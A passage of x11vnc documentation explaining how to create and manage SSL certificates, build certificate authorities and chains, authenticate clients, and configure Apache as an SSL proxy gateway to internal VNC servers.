- You can manage multiple SSL x11vnc server keys in this simple way by
- using:
- x11vnc -ssl SAVE-key2 -display :0 ...
-
- etc, where you put whatever name you choose for the key after "SAVE-".
- E.g. "-ssl SAVE-fred".
-
- Also, if you want to be prompted to possibly change the made up names,
- etc. that x11vnc creates (e.g. "x11vnc-SELF-SIGNED-CERT-7762" for the
- CommonName) for the certificates distinguished name (DN), then use
- "x11vnc -ssl SAVE_PROMPT ...", "x11vnc -ssl SAVE_PROMPT-fred ..." etc.
- when you create the key the first time.
-
- Tip: when prompting, if you choose the CommonName entry to be the full
- internet hostname of the machine the clients will be connecting to
- then that will avoid an annoying dialog box in their Web browsers that
- warn that the CommonName doesn't match the hostname.
-
- _________________________________________________________________
-
- Passphrases for server keys:
-
- Well, since now with the "SAVE" keyword the certificate and key will
- be longer lived, one can next worry about somebody stealing the
- private key and pretending to be the x11vnc server! How to guard
- against this?
-
- The first is that the file is created with perms 600 (i.e. -rw-------)
- to make it harder for an untrusted user to copy the file. A better way
- is to also encrypt the private key with a passphrase. You are prompted
- whether you want to do this or not when the key is first created under
- "-ssl SAVE" mode ("Protect key with a passphrase? y/n"). It is
- suggested that you use a passphrase. The inconvenience is every time
- you run "x11vnc -ssl SAVE ..." you will need to supply the passphrase
- to access the private key:
- 06/04/2006 11:39:11 using PEM /home/runge/.vnc/certs/server.pem 0.000s
-
- A passphrase is needed to unlock an OpenSSL private key (PEM file).
- Enter passphrase>
-
- before x11vnc can continue.
-
- _________________________________________________________________
-
- Being your own Certificate Authority:
-
- A very sophisticated way that scales well if the number of users is
- large is to use a Certificate Authority (CA) whose public certificate
- is available to all of the VNC clients and whose private key has been
- used to digitally sign the x11vnc server certificate(s).
-
- The idea is as follows:
- * A special CA cert and key is generated.
- * Its private key is always protected by a good passphrase since it
- is only used for signing.
- * The CA cert is (safely) distributed to all machines where VNC
- clients will run.
- * One or more x11vnc server certs and keys are generated.
- * The x11vnc server cert is signed with the CA private key.
- * x11vnc is run using the server key. (e.g. "-ssl SAVE")
- * VNC clients (viewers) can now authenticate the x11vnc server
- because they have the CA certificate.
-
- The advantage is the CA cert only needs to be distributed once to the
- various machines, that can be done even before x11vnc server certs are
- generated.
-
- As above, it is important the CA private key and the x11vnc server key
- are kept secret, otherwise someone could steal them and pretend to be
- the CA or the x11vnc server if they copied the key. It is recommended
- that the x11vnc server keys are also protected via a passphrase (see
- the previous section).
-
- Optionally, VNC viewer certs and keys could also be generated to
- enable the x11vnc server to authenticate each client. This is not
- normally done (usually a simple viewer password scheme is used), but
- this can be useful in some situations. These optional steps go like
- this:
- * One or more VNC client certs and keys are generated.
- * These VNC client certs are signed with the CA private key.
- * The VNC client certs+keys are safely distributed to the
- corresponding client machines.
- * x11vnc is told to verify clients by using the CA cert. (e.g.
- "-sslverify CA")
- * When VNC clients (viewers) connect, they must authenticate
- themselves to x11vnc by using their client key.
-
- Again, it is a good idea if the client private keys are protected with
- a passphrase, otherwise if stolen they could be used to gain access to
- the x11vnc server. Once distributed to the client machines, there is
- no need to keep the client key on the CA machine that generated and
- signed it. You can keep the client certs if you like because they are
- public.
-
- _________________________________________________________________
-
- How to do the above CA steps with x11vnc:
-
- Some utility commands are provided to ease the cert+key creation,
- signing, and management: -sslGenCA, -sslGenCert, -sslDelCert,
- -sslEncKey, -sslCertInfo. They basically run the openssl(1) command
- for you to manage the certs/keys. It is required that openssl(1) is
- installed on the machine and available in PATH. All commands can be
- pointed to an alternate toplevel certificate directory via the -ssldir
- option if you don't want to use the default ~/.vnc/certs.
-
- 1) To generate your Certificate Authority (CA) cert and key run this:
- x11vnc -sslGenCA
-
- Follow the prompts, you can modify any informational strings you care
- to. You will also be required to encrypt the CA private key with a
- passphrase. This generates these files:
- ~/.vnc/certs/CA/cacert.pem (the CA public certificate)
- ~/.vnc/certs/CA/private/cakey.pem (the encrypted CA private key)
-
- If you want to use a different directory use -ssldir It must supplied
- with all subsequent SSL utility options to point them to the correct
- directory.
-
- 2) To generate a signed x11vnc server cert and key run this:
- x11vnc -sslGenCert server
-
- As with the CA generation, follow the prompts and you can modify any
- informational strings that you care to. This will create the files:
- ~/.vnc/certs/server.crt (the server public certificate)
- ~/.vnc/certs/server.pem (the server private key + public cert)
-
- It is recommended to protect the server private key with a passphrase
- (you will be prompted whether you want to). You will need to provide
- it whenever you start x11vnc using this key.
-
- 3) Start up x11vnc using this server key:
- x11vnc -ssl SAVE -display :0 ...
-
- (SAVE corresponds to server.pem, see -sslGenCert server somename info
- on creating additional server keys, server-somename.crt ...)
-
- 4) Next, safely copy the CA certificate to the VNC viewer (client)
- machine(s). Perhaps:
- scp ~/.vnc/CA/cacert.pem clientmachine:.
-
- 5) Then the tricky part, make it so the SSL VNC Viewer uses this
- certificate! There are a number of ways this might be done, it depends
- on what your client and/or SSL tunnel is. Some examples:
-
- For the SSL Java VNC viewer supplied with x11vnc in
- classes/ssl/VncViewer.jar or classes/ssl/SignedVncViewer.jar:
- * Import the cacert.pem cert into your Web Browser (e.g. Edit ->
- Preferences -> Privacy & Security -> Manage Certificates ->
- WebSites -> Import)
- * Or Import the cacert.pem cert into your Java Plugin (e.g. run
- ControlPanel, then Security -> Certificates -> Secure Site ->
- Import)
-
- When importing, one would give the browser/java-plugin the path to the
- copied cacert.pem file in some dialog. Note that the Web browser or
- Java plugin is used for the server authentication. If the user gets a
- "Site not verified" message while connecting he should investigate
- further.
-
- For the use of stunnel (e.g. on Windows) one would add this to the
- stunnel.conf:
- # stunnel.conf:
- client = yes
- options = ALL
- CAfile = /path/to/cacert.pem # or maybe C:\path\to\cacert.pem
- [myvncssl]
- accept = 5901
- connect = far-away.east:5900
-
- (then point the VNC viewer to localhost:1).
-
- Here is an example for the Unix stunnel wrapper script ss_vncviewer in
- our SSVNC package:
- ss_vncviewer -verify ./cacert.pem far-away.east:0
-
- Our SSVNC enhanced tightvnc viewer GUI can also use the certificate
- file for server authentication. You can load it via the SSVNC
- 'Certs...' dialog and set 'ServerCert' to the cacert.pem file you
- safely copied there.
-
- _________________________________________________________________
-
- Tricks for server keys:
-
- To create additional x11vnc server keys do something like this:
- x11vnc -sslGenCert server myotherkey
-
- and use it this way:
- x11vnc -ssl SAVE-myotherkey ...
-
- The files will be ~/.vnc/certs/server-myotherkey.{crt,pem}
-
- You can also create a self-signed server key:
- x11vnc -sslGenCert server self:third_key
-
- and use it this way:
- x11vnc -ssl SAVE-self:third_key ...
-
- This key is not signed by your CA. This can be handy to have a key set
- separate from your CA when you do not want to create a 2nd CA
- cert+key.
-
- _________________________________________________________________
-
- Using external CA's:
-
- You don't have to use your own CA cert+key, you can use a third
- party's instead. Perhaps you have a company-wide CA or you can even
- have your x11vnc certificate signed by a professional CA (e.g.
- www.thawte.com or www.verisign.com or perhaps the free certificate
- service www.startcom.org or www.cacert.org).
-
- The advantage to doing this is that the VNC client machines will
- already have the CA certificates installed and you don't have to
- install it on each machine.
-
- To generate an x11vnc server cert+key this way you should generate a
- "request" for a certicate signing something like this (we use the name
- "external" in this example, it could be anything you want):
- x11vnc -sslGenCert server req:external
-
- This will create the request file:
- ~/.vnc/certs/server-req:external.req
-
- Which you should send to the external CA. When you get the signed
- certificate back from them, save it in the file:
- ~/.vnc/certs/server-req:external.crt
-
- and create the .pem this way:
- mv ~/.vnc/certs/server-req:external.key ~/.vnc/certs/server-req:external.
-pem
- chmod 600 ~/.vnc/certs/server-req:external.pem
- cat ~/.vnc/certs/server-req:external.crt >> ~/.vnc/certs/server-req:external.
-pem
-
- You also rename the two files (.crt and .pem) to have a shorter
- basename if you like. E.g.:
- mv ~/.vnc/certs/server-req:external.pem ~/.vnc/certs/server-ext.pem
- mv ~/.vnc/certs/server-req:external.crt ~/.vnc/certs/server-ext.crt
-
- and the use via "x11vnc -ssl SAVE-ext ...", etc.
-
- On the viewer side make sure the external CA's certificate is
- installed an available for the VNC viewer software you plan to use.
-
- _________________________________________________________________
-
- Using Client Keys for Authentication:
-
- You can optionally create certs+keys for your VNC client machines as
- well. After distributing them to the client machines you can have
- x11vnc verify the clients using SSL. Here is how to do this:
-
- x11vnc -sslGenCert client dilbert
- x11vnc -sslGenCert client wally
- x11vnc -sslGenCert client alice
- ...
-
- As usual, follow the prompts if you want to change any of the info
- field values. As always, it is a good idea (although inconvenient) to
- protect the private keys with a passphrase. These files are created:
- ~/.vnc/certs/clients/dilbert.crt
- ~/.vnc/certs/clients/dilbert.pem
- ...
-
- Note that these are kept in a clients subdirectory.
-
- Next, safely copy the .pem files to each corresponding client machine
- and incorporate them into the VNC viewer / SSL software (see the ideas
- mentioned above for the CA and server keys). The only difference is
- these certificates might be referred to as "My Certificates" or
- "Client Certificates". They are used for client authentication (which
- is relatively rare for SSL).
-
- After copying them you can delete the clients/*.pem files for extra
- safety because the private keys are not needed by the x11vnc server.
- You don't really need the clients/*.crt files either (because they
- have been signed by the CA). But they could come in handy for tracking
- or troubleshooting, etc.
-
- Now start up x11vnc and instruct it to verify connecting clients via
- SSL and the CA cert:
- x11vnc -ssl SAVE -sslverify CA
-
- The "CA" special token instructs x11vnc to use its CA signed certs for
- verification.
-
- For arbitrary self-signed client certificates (no CA) it might be
- something like this:
- x11vnc -ssl SAVE -sslverify path/to/client.crt
- x11vnc -ssl SAVE -sslverify path/to/client-hash-dir
- x11vnc -ssl SAVE -sslverify path/to/certs.txt
-
- Where client.crt would be an individual client certificate;
- client-hash-dir a directory of file names based on md5 hashes of the
- certs (see -sslverify); and certs.txt signifies a single file full of
- client certificates.
-
- Finally, connect with your VNC viewer using the key. Here is an
- example for the Unix stunnel wrapper script ss_vncviewer: using client
- authentication (and the standard server authentication with the CA
- cert):
- ss_vncviewer -mycert ./dilbert.pem -verify ./cacert.pem far-away.east:0
-
- Our SSVNC enhanced tightvnc viewer can also use these openssl .pem
- files (you can load them via Certs... -> MyCert dialog).
-
- It is also possible to use -sslverify on a per-client key basis, and
- also using self-signed client keys (x11vnc -sslGenCert client
- self:dilbert)
-
- Now a tricky part is to get Web browsers or Java Runtime to import and
- use the openssl .pem cert+key files. See the next paragraph on how to
- convert them to pkcs12 format. If you find a robust way to import them
- and and get them to use the cert please let us know!
-
- Here is how to convert our openssl crt/pem files to pkcs12 format
- (contains both the client certificate and key) that can be read by Web
- browsers and Java for use in client authentication:
- openssl pkcs12 -export -in mycert.crt -inkey mycert.pem -out mycert.p12
-
- it will ask for a passphrase to protect mycert.p12. Some software
- (e.g. Java ControlPanel) may require a non-empty passphrase. Actually,
- since our .pem contains both the certificate and private key, you
- could just supply it for the -in and remove the -inkey option. It
- appears that for certificates only importing, our .crt file is
- sufficient and can be read by Mozilla/Firefox and Java...
-
- If you have trouble getting your Java Runtime to import and use the
- cert+key, there is a workaround for the SSL-enabled Java applet. On
- the Web browser URL that retrieves the VNC applet, simply add a
- "/?oneTimeKey=..." applet parameter (see ssl-portal for more details
- on applet parameters; you don't need to do the full portal setup
- though). The value of the oneTimeKey will be the very long string that
- is output of the onetimekey program found in the classes/ssl x11vnc
- directory. Or you can set oneTimeKey=PROMPT in which case the applet
- will ask you to paste in the long string. These scheme is pretty ugly,
- but it works. A nice application of it is to make one time keys for
- users that have already logged into a secure HTTPS site via password.
- A cgi program then makes a one time key for the logged in user to use:
- it is passed back over HTTPS as the applet parameter in the URL and so
- cannot be sniffed. x11vnc is run to use that key via -sslverify.
-
- Update: as of Apr 2007 in the 0.9.1 x11vnc tarball there is a new
- option setting "-users sslpeer=" that will do a switch user much like
- -unixpw does, but this time using the emailAddress field of the
- Certificate subject of the verified Client. This mode requires
- -sslverify turned on to verify the clients via SSL. This mode can be
- useful in situations using -create or -svc where a new X server needs
- to be started up as the authenticated user (but unlike in -unixpw
- mode, the unix username is not obviously known).
-
- _________________________________________________________________
-
- Revoking Certificates:
-
- A large, scaled-up installation may benefit from being able to revoke
- certificates (e.g. suppose a user's laptop with a vnc client or server
- key is compromised.) You can use this option with x11vnc: -sslCRL. See
- the info at that link for a guide on what openssl(1) commands you will
- need to run to revoke a certificate.
-
- _________________________________________________________________
-
- Additional utlities:
-
- You can get information about your keys via -sslCertInfo. These lists
- all your keys:
- x11vnc -sslCertInfo list
- x11vnc -sslCertInfo ll
-
- (the latter is long format).
-
- These print long output, including the public certificate, for
- individual keys:
- x11vnc -sslCertInfo server
- x11vnc -sslCertInfo dilbert
- x11vnc -sslCertInfo all (every key, very long)
-
- If you want to add a protecting passphrase to a key originally created
- without one:
- x11vnc -sslEncKey SAVE
- x11vnc -sslEncKey SAVE-fred
-
- To delete a cert+key:
- x11vnc -sslDelCert SAVE
- x11vnc -sslDelCert SAVE-fred
- x11vnc -sslDelCert wally
-
- (but rm(1) will be just as effective).
-
- _________________________________________________________________
-
- Chained Certificates:
-
- There is increasing interest in using chained CA's instead of a single
- CA. The merits of using chained CA's are not described here besides to
- say its use may make some things easier when a certificate needs to be
- revoked.
-
- x11vnc supports chained CA certificates. We describe a basic use case
- here.
-
- Background: Of course the most straight forward way to use SSL with
- x11vnc is to use no CA at all (see above): a self-signed certificate
- and key is used and its certificate needs to be safely copied to the
- client side. This is basically the same as the SSH style of managing
- keys. Next level up, one can use a single CA to sign server keys: then
- only the CA's certificate needs to be safely copied to the client
- side, this can happen even before any server certs are created (again,
- see all of the discussion above.)
-
- With a certificate chain there are two or more CA's involved. Perhaps
- it looks like this:
- root_CA ---> intermediate_CA ---> server_cert
-
- Where the arrow basically means "signs".
-
- In this usage mode the client (viewer-side) will have root_CA's
- certificate available for verifying (and nothing else.) If the viewer
- only received server_cert's certificate, it would not have enough info
- to verify the server. The client needs to have intermediate_CA's cert
- as well. The way to do this with x11vnc (i.e. an OpenSSL using app) is
- to concatenate the server_cert's pem and the intermediate_CA's
- certificate together.
-
- For example, suppose the file intermediate_CA.crt had
- intermediate_CA's certificate. And suppose the file server_cert.pem
- had the server's certificate and private key pair as described above
- on this page. We need to do this:
- cat intermediate_CA.crt >> server_cert.pem
-
- (Note: the order of the items inside the file matters; intermediate_CA
- must be after the server key and cert) and then we run x11vnc like
- this:
- x11vnc -ssl ./server_cert.pem ...
-
- Then, on the VNC viewer client side, the viewer authenticates the
- x11vnc server by using root_CA's certificate. Suppose that is in a
- file named root_CA.crt, then using the SSVNC wrapper script
- ss_vncviewer (which is also included in the SSVNC package) as our
- example, we have:
- ss_vncviewer -verify ./root_CA.crt hostname:0
-
- (where "hostname" is the machine where x11vnc is running.) One could
- also use the SSVNC GUI setting Certs -> ServerCert to the root_CA.crt
- file. Any other SSL enabled VNC viewer would use root_CA.crt in a
- similar way.
- _________________________________________________________________
-
- Creating Chained Certificates:
-
- Here is a fun example using VeriSign's "Trial Certificate" program.
- Note that VeriSign has a Root CA and also an Intermediate CA and uses
- the latter to sign customers certificates. So this provides an easy
- way to test out the chained certificates mechanism with x11vnc.
-
- First we created a test x11vnc server key:
- openssl genrsa -out V1.key 1024
-
- then we created a certificate signing request (CSR) for it:
- openssl req -new -key V1.key -out V1.csr
-
- (we followed the prompts and supplied information for the various
- fields.)
-
- Then we went to VeriSign's page http://www.verisign.com/ssl/index.html
- and clicked on "FREE TRIAL" (the certificate is good for 14 days.) We
- filled in the forms and got to the point where it asked for the CSR
- and so we pasted in the contents of the above V1.csr file. Then, after
- a few more steps, VeriSign signed and emailed us our certificate.
-
- The VeriSign Trial certificates were found here:
- http://www.verisign.com/support/verisign-intermediate-ca/Trial_Secure_Server_
-Root/index.html
- http://www.verisign.com/support/verisign-intermediate-ca/trial-secure-server-
-intermediate/index.html
-
- The former was pasted into a file V-Root.crt and the latter was pasted
- into V-Intermediate.crt
-
- We pasted our Trial certificate that VeriSign signed and emailed to us
- into a file named V1.crt and then we typed:
- cat V1.key V1.crt > V1.pem
- cat V1.pem V-Intermediate.crt > V1-combined.pem
- chmod 600 V1.pem V1-combined.pem
-
- So now the file V1-combined.pem has our private key and (VeriSign
- signed) certificate and VeriSign's Trial Intermediate certificate.
-
- Next, we start x11vnc:
- x11vnc -ssl ./V1-combined.pem ...
-
- and finally, on the viewer side (SSVNC wrapper script example):
- ss_vncviewer -verify ./V-Root.crt hostname:0
-
- One will find that only that combination of certs and keys will work,
- i.e. allow the SSL connection to be established. Every other
- combination we tried failed (note that ss_vncviewer uses the external
- stunnel command to handle the SSL so we are really testing stunnel's
- SSL implementation on the viewer side); and so the system works as
- expected.
- _________________________________________________________________
-
- VNC Client Authentication using Certificate Chains:
-
- Now, going the other way around with the client authenticating himself
- via this chain of SSL certificates, x11vnc is run this way:
- x11vnc -ssl SAVE -sslverify ./V-Root.crt ...
-
- (note since the server must always supply a cert, we use its normal
- self-signed, etc., one via "-ssl SAVE" and use the VeriSign root cert
- for client authentication via -sslverify. The viewer must now supply
- the combined certificates, e.g.:
- ss_vncviewer -mycert ./V1-combined.pem hostname:0
- _________________________________________________________________
-
- Using OpenSSL and x11vnc to create Certificate Chains:
-
- Although the x11vnc CA mechanism (-sslGenCA and -sslGenCert; see
- above) was designed to only handle a single root CA (to sign server
- and/or client certs) it can be coerced into creating a certificate
- chain by way of an extra openssl(1) command.
-
- We will first create two CA's via -sslGenCA; then use one of these CA
- to sign the other; create a new (non-CA) server cert; and append the
- intermediate CA's cert to the server cert to have everything needed in
- the one file.
-
- Here are the commands we ran to do what the previous paragraph
- outlines.
-
- First we create the two CA's, called CA_root and CA_Intermediate here,
- in separate directories via x11vnc:
- x11vnc -ssldir ~/CA_Root -sslGenCA
- (follow the prompts, we included "CA_Root", e.g. Common Name, to aid ident
-ifying it)
-
- x11vnc -ssldir ~/CA_Intermediate -sslGenCA
- (follow the prompts, we included "CA_Intermediate", e.g. Common Name, to a
-id identifying it)
-
- Next backup CA_Intermediate's cert and then sign it with CA_Root:
- mv ~/CA_Intermediate/CA/cacert.pem ~/CA_Intermediate/CA/cacert.pem.ORIG
- cd ~/CA_Root
- openssl ca -config ./CA/ssl.cnf -policy policy_anything -extensions v3_ca -no
-text -ss_cert ~/CA_Intermediate/CA/cacert.pem.ORIG -out ~/CA_Intermediate/CA/ca
-cert.pem
-
- Note that it is required to cd to the ~/CA_Root directory and run the
- openssl command from there.
-
- You can print out info about the cert you just modified by:
- openssl x509 -noout -text -in ~/CA_Intermediate/CA/cacert.pem
-
- Now we create an x11vnc server cert named "test_chain" that is signed
- by CA_Intermediate:
- x11vnc -ssldir ~/CA_Intermediate -sslGenCert server test_chain
- (follow the prompts)
-
- You can print out information about this server cert just created via
- this command:
- x11vnc -ssldir ~/CA_Intermediate -sslCertInfo SAVE-test_chain
-
- This will tell you the full path to the server certificate, which is
- needed because we need to manually append the CA_Intermediate cert for
- the chain to work:
- cat ~/CA_Intermediate/CA/cacert.pem >> ~/CA_Intermediate/server-test_chain.pe
-m
-
- Now we are finally ready to use it. We can run x11vnc using this
- server cert+key by either this command:
- x11vnc -ssldir ~/CA_Intermediate -ssl SAVE-test_chain ...
-
- or this command:
- x11vnc -ssl ~/CA_Intermediate/server-test_chain.pem ...
-
- since they are equivalent (both load the same pem file.)
-
- Finally we connect via VNC viewer that uses CA_Root to verify the
- server. As before we use ss_vncviewer:
- ss_vncviewer -verify ~/CA_Root/CA/cacert.pem hostname:0
-
- Client Certificates (see above) work in a similar manner.
-
- So although it is a little awkward with the extra steps (e.g.
- appending the CA_Intermediate cert) it is possible. If you want to do
- this entirely with openssl(1) you will have to learn the openssl
- commands corresponding to -genCA and -genCert. You may be able to find
- guides on the Internet to do this. Starting with x11vnc 0.9.10, you
- can have it print out the wrapper scripts it uses via: -sslScripts
- (you will still need to fill in a few pieces of information; ask if it
- is not clear from the source code.)
-
- _________________________________________________________________
-
- More info:
-
- See also this article for some some general info and examples using
- stunnel and openssl on Windows with VNC. Also
- http://www.stunnel.org/faq/certs.html is a very good source of
- information on SSL certificate creation and management.
-
-=======================================================================
-http://www.karlrunge.com/x11vnc/ssl-portal.html:
-
-
- _________________________________________________________________
-
- Using Apache as an SSL Gateway to multiple x11vnc servers inside a
- firewall:
-
- Background:
-
- The typical way to allow access to x11vnc (or any other VNC server)
- running on multiple workstations inside a firewall is via SSH. The
- user somewhere out on the Internet logs in to the SSH gateway machine
- and uses port forwarding (e.g. ssh -t -L 5900:myworkstation:5900
- user@gateway) to set up the encrypted channel that VNC is then
- tunneled through. Next he starts up the VNC viewer on the machine
- where he is sitting directed to the local tunnel port (e.g.
- localhost:0).
-
- The SSH scheme is nice because it is a widely used and well tested
- login technique for users connecting to machines inside their company
- or home firewall. For VNC access it is a bit awkward, however, because
- SSH needs to be installed on the Viewer machine and the user usually
- has to rig up his own port redirection plumbing (however, see our
- other tool).
-
- Also, some users have restrictive work environments where SSH and
- similar applications are prohibited (i.e. only outgoing connections to
- standard WWW ports from a browser are allowed, perhaps mediated by a
- proxy server). These users have successfully used the method described
- here for remote access.
-
- With the SSL support in x11vnc and the SSL enabled Java VNC viewer
- applet, a convenient and secure alternative exists that uses the
- Apache webserver as a gateway. The idea is that the company or home
- internet connection is already running apache as a web server (either
- SSL or non-SSL) and we add to it the ability to act as a gateway for
- SSL VNC connections. The only thing needed on the Viewer side is a
- Java enabled Web Browser: the user simply enters a URL that starts the
- entire VNC connection process. No VNC or SSH specific software needs
- to be installed on the viewer side machine.
-
- The stunnel VNC viewer stunnel wrapper script provided (ss_vncviewer)
- can also take advantage of the method described here with its -proxy
- option.
-
- _________________________________________________________________
-
- Simpler Solutions: This apache SSL VNC portal solution may be too much
- for you. It is mainly intended for automatically redirecting to
- MULTIPLE workstations inside the firewall. If you only have one or two
- inside machines that you want to access, the method described here is
- overly complicated! See below for some simpler (and still non-SSH)
- encrypted setups.
-
- Also see the recent (Mar/2010) desktop.cgi x11vnc desktop web login
- CGI script that achieves much of what the method describes here
- (especially if its 'port redirection' feature is enabled.)
- _________________________________________________________________
-
-
-
- There are numerous ways to achieve this with Apache. We present one of
- the simplest ones here.
-
- Important: these sorts of schemes allow incoming connections from
- anywhere on the Internet to fixed ports on machines inside the
- firewall. Care must be taken to implement and test thoroughly. If one
- is paranoid one can (and should) add extra layers of protection. (e.g.
- extra passwords, packet filtering, SSL certificate verification, etc).
-
- Also, it is easy to miss the point that unless precautions are taken
- to verify SSL Certificates, then the VNC Viewer is vulnerable to
- man-in-the-middle attacks (but not to the more common passive sniffing
- attacks). Note that there are hacker tools like dsniff/webmitm and
- cain that implement SSL Man-In-The-Middle attacks. They rely on the
- client not bothering to check the cert.
- _________________________________________________________________
-
- The Holy Grail: a single https port (443)
-
- Before we discuss the self-contained apache examples here, we want to
- mention that many x11vnc users who read this page and implement the
- apache SSL VNC portal ask for something that (so far) seems difficult
- or impossible to do entirely inside apache:
- * A single port, 443 (the default https:// port), is open to the
- Internet
- * It is HTTPS/SSL encrypted
- * It handles both VNC traffic and Java VNC Applet downloads.
- * And the server can also serve normal HTTPS webpages, CGI, etc.
-
- It is the last item that makes it tricky (otherwise the method
- described on this page will work). If you are interested in such a
- solution and are willing to run a separate helper program
- (connect_switch) look here. Also, see this apache patch.
- _________________________________________________________________
-
- Example:
-
- The scheme described here sets up apache on the firewall/gateway as a
- regular Web proxy into the intranet and allows connections to a single
- fixed port on a limited set of machines.
-
- The configuration described in this section does not use the mod_ssl
- apache module (the optional configuration described in the section
- "Downloading the Java applet to the browser via HTTPS" does take
- advantage of mod_ssl)
-
- In this example suppose the gateway machine running apache is named
- "www.gateway.east" (e.g. it may also provide normal web service). We
- also choose the Internet-facing port for this VNC service to be port
- 563. One could choose any port, including the default HTTP port 80.
-
- Detail: We choose 563 because it is the rarely used SNEWS port that is
- often allowed by Web proxies for the CONNECT method. The idea is the
- user may be coming out of another firewall using a proxy (not the one
- we describe here, that is, the case when two proxies are involved,
- e.g. one at work and another Apache (described here) at home
- redirecting into our firewall; the "double proxy" or "double firewall"
- problem). Using port 563 simplifies things because CONNECT's to it are
- usually allowed by default.
-
- We also assume all of the x11vnc servers on the internal machines are
- all listening on port 5915 ("-rfbport 5915") instead of the default
- 5900. This is to limit any unintended proxy redirections to a lesser
- used port, and also to stay out of the way of normal VNC servers on
- the same machines. One could obviously implement a scheme that handles
- different ports, but we just discuss this simple setup here.
-
- So we basically assume x11vnc has been started this way on all of the
- workstations to be granted VNC access:
- x11vnc -ssl SAVE -http -display :0 -forever -rfbauth ~/.vnc/passwd -rfbport 5
-915
-
- i.e. we force SSL VNC connections, port 5915, serve the Java VNC
- viewer applet, and require a VNC password (another option would be
- -unixpw). The above command could also be run out of inetd(8). It can
- also be used to autodetect the user's display and Xauthority data.
-
-
- These sections are added to the httpd.conf apache configuration file
- on www.gateway.east:
-
-# In the global section you need to enable these modules.
-# Note that the ORDER MATTERS! mod_rewrite must be before mod_proxy
-# (so that we can check the allowed host list via rewrite)
-#
-LoadModule rewrite_module modules/mod_rewrite.so
-LoadModule proxy_module modules/mod_proxy.so
-LoadModule proxy_connect_module modules/mod_proxy_connect.so
-LoadModule proxy_ftp_module modules/mod_proxy_ftp.so
-LoadModule proxy_http_module modules/mod_proxy_http.so
-<IfDefine SSL>
-LoadModule ssl_module modules/mod_ssl.so
-</IfDefine>
-
-
-# Near the bottom of httpd.conf you put the port 563 virtual host:
-
-Listen 563
-
-<VirtualHost *:563>
-
- # Allow proxy CONNECT requests *only* to port 5915.
- # If the machines use different ports, e.g. 5916 list them here as well:
- #
- ProxyRequests On
- AllowCONNECT 5915
-
- RewriteEngine On
-
- # Convenience rules to expand applet parameters. These do not have a traili
-ng "/"
- #
- # /vnc for http jar file downloading:
- #
- RewriteRule /vnc/([^/]+)$ /vnc/$1/index.vnc?CONNECT=$1+5915&PO
-RT=563&urlPrefix=_2F_vnc_2F_$1 [R,NE,L]
- RewriteRule /vnc/trust/([^/]+)$ /vnc/$1/index.vnc?CONNECT=$1+5915&PO
-RT=563&urlPrefix=_2F_vnc_2F_$1&trustAllVncCerts=yes [R,NE,L]
- RewriteRule /vnc/proxy/([^/]+)$ /vnc/$1/proxy.vnc?CONNECT=$1+5915&PO
-RT=563&urlPrefix=_2F_vnc_2F_$1&forceProxy=yes [R,NE,L]
- RewriteRule /vnc/trust/proxy/([^/]+)$ /vnc/$1/proxy.vnc?CONNECT=$1+5915&PO
-RT=563&urlPrefix=_2F_vnc_2F_$1&forceProxy=yes&trustAllVncCerts=yes [R,NE,L]
-
- # Read in the allowed host to vnc display mapping file. It looks like:
- #
- # host1 15
- # host2 15
- # ...
- #
- # the display "15" means 5815 for http applet download, 5915 for SSL vnc.
- #
- RewriteMap vnchosts txt:/dist/apache/conf/vnc.hosts
-
- # Proxy: check for the CONNECT hostname and port being in the vnc.hosts list
-.
- #
- RewriteCond %{THE_REQUEST} ^CONNECT [NC]
- RewriteCond %{REQUEST_URI} ^(.*):(.*)$
- RewriteCond ${vnchosts:%1|NOTFOUND} NOTFOUND
- RewriteRule ^.*$ /VNCFAIL [F,L]
-
- RewriteCond %{THE_REQUEST} ^CONNECT [NC]
- RewriteCond %{REQUEST_URI} ^(.*):(.*)$
- RewriteCond 59${vnchosts:%1}=%2 !^(.*)=(\1)$
- RewriteRule ^.*$ /VNCFAIL [F,L]
-
-
- # Remap /vnc to the proxy http download (e.g. http://host:5815)
- #
- # First, fail if it starts with the string /vnc0:
- #
- RewriteRule ^/vnc0.* /VNCFAIL [F,L]
- #
- # Next, map the prefix to /vnc0/host:protocol:port
- #
- RewriteRule ^/vnc/([^/]+)/(.*) /vnc0/$1:http:58${vnchosts:$1|NOTFOUND}/$2
-[NE]
- #
- # Drop any not found:
- #
- RewriteRule ^/vnc0.*NOTFOUND.* /VNCFAIL [F,L]
-
- # Construct the proxy URL and retrieve it:
- #
- RewriteRule ^/vnc0/([^/]+):([^/]+):([^/]+)/(.*) $2://$1:$3/$4 [P,NE,L]
-
-</VirtualHost>
-
- Then restart apache (perhaps: "apachectl stop; apachectl start").
-
- Note that the listing of allowed internal workstations is done in an
- external file (/dist/apache/conf/vnc.hosts in the example above), the
- format is like this:
-# allowed vnc hosts file:
-hostname1 15
-hostname2 15
-...
-
- You list the hostname and the VNC display (always 15 in our example).
- Only to these hosts will the external VNC viewers be able to connect
- to (via the HTTP CONNECT method).
-
- The above setup requires mod_rewrite and mod_proxy be enabled in the
- apache web server. In this example they are loaded as modules (and
- note that mod_rewrite must be listed before mod_proxy);
-
- The user at the Java enabled Web browser would simply enter this URL
- into the browser:
- http://www.gateway.east:563/vnc/host2
-
- to connect to internal workstation host2, etc.
-
- Important: do not put a trailing "/" on the URL, since that will
- defeat the RewriteRules that look for the hostname at the very end.
-
- There will be a number of SSL certificate, etc, dialogs he will have
- to respond to in addition to any passwords he is required to provide
- (this depends on how you set up user authentication for x11vnc).
-
- If a second Web proxy is involved (i.e. the user's browser is inside
- another firewall and policy requires using a Web proxy server) then
- use this URL:
- http://www.gateway.east:563/vnc/proxy/host2
-
- This will involve downloading a signed java viewer applet jar file
- that is able to interact with the internal proxy for the VNC
- connection. See this FAQ for more info on how this works. Note:
- sometimes with the Proxy case if you see 'Bad Gateway' error you will
- have to wait 10 or so seconds and then hit reload. This seems to be
- due to having to wait for a Connection Keepalive to terminate...
-
- For completeness, the "trust" cases that skip a VNC certificate dialog
- (discussed below) would be entered as:
- http://www.gateway.east:563/vnc/trust/host2
- http://www.gateway.east:563/vnc/trust/proxy/host2
-
- You can of course choose shorter or more easy to remember URL formats.
- Just change the Convenience RewriteRules in httpd.conf.
-
- _________________________________________________________________
-
- Port Variations:
-
- Note that you can run this on the default HTTP port 80 instead of port
- 563. If you do not expect to have a browser connecting from inside a
- proxying firewall (where sometimes only connections to ports 443 and
- 563 are allowed) this should be fine. Use "80" instead of "563" in the
- httpd.conf config file (you may need to merge it with other default
- port 80 things you have there).
-
- Then the URL's will be a bit simpler:
- http://www.gateway.east/vnc/host2
- http://www.gateway.east/vnc/trust/host2
-
- etc.
-
